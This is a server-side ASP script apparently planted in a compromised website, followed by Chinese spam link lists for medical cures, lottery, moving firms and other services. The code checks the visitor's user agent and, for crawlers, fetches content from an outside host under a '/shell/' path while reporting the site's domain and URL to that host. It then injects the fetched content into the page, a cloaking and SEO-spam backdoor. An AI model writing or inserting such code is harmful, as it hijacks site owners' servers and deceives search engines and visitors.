<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://www.s920.cn/shell/sca.php?dns="&dns) else response.write getBody("http://www.s920.cn/shell/scan.php?dns="&url&"&dn="&dns) end if end if %>
合作伙伴：不孕不育治疗 女性不孕原因 隆鼻失败修复 类风湿中药 福彩双色球 3D 3D 中国福利彩票双色球 福彩3d 彩票预测 闵行公兴搬家 上海大众搬家公司 上海大众搬场公司 强化木地板价格 大众搬场 佳吉快运 公兴搬家 低速冷冻离心机 肾病 维修电工实训考核装置 低速冷冻离心机 荨麻疹 上海浦东保洁 防爆对讲机 多媒体终端箱 拉丝机 血库专用离心机 金属探测器 二手叉车 嘉定废品回收 上海搬家公司 无纺布验针机 上海大众搬场 闵行大众搬场 PPR管材 搬迁公司 冷冻离心机 深圳安装卫星电视
友情链接：癫痫 疱疹 痛风 疝气的治疗 搬家公司 白癜风的治疗 保洁公司 白癜风治疗 上海废品回收公司 天津卫星天线 法国留学 阳痿怎么办 老虎机定位器 湿疣 冷冻离心机 大众搬家 二手振动压路机 抑郁 上海卫星电视安装 生殖器疱疹 广州卫星电视安装 牛皮癣 尖锐湿疣 上海物资回收 锦江之星 上海大众搬家公司 广州卫星电视安装 广州卫星电视 上海办公家具 中医治疗牛皮癣 尖锐湿疣 隔膜泵 北京安装卫星电视 双色球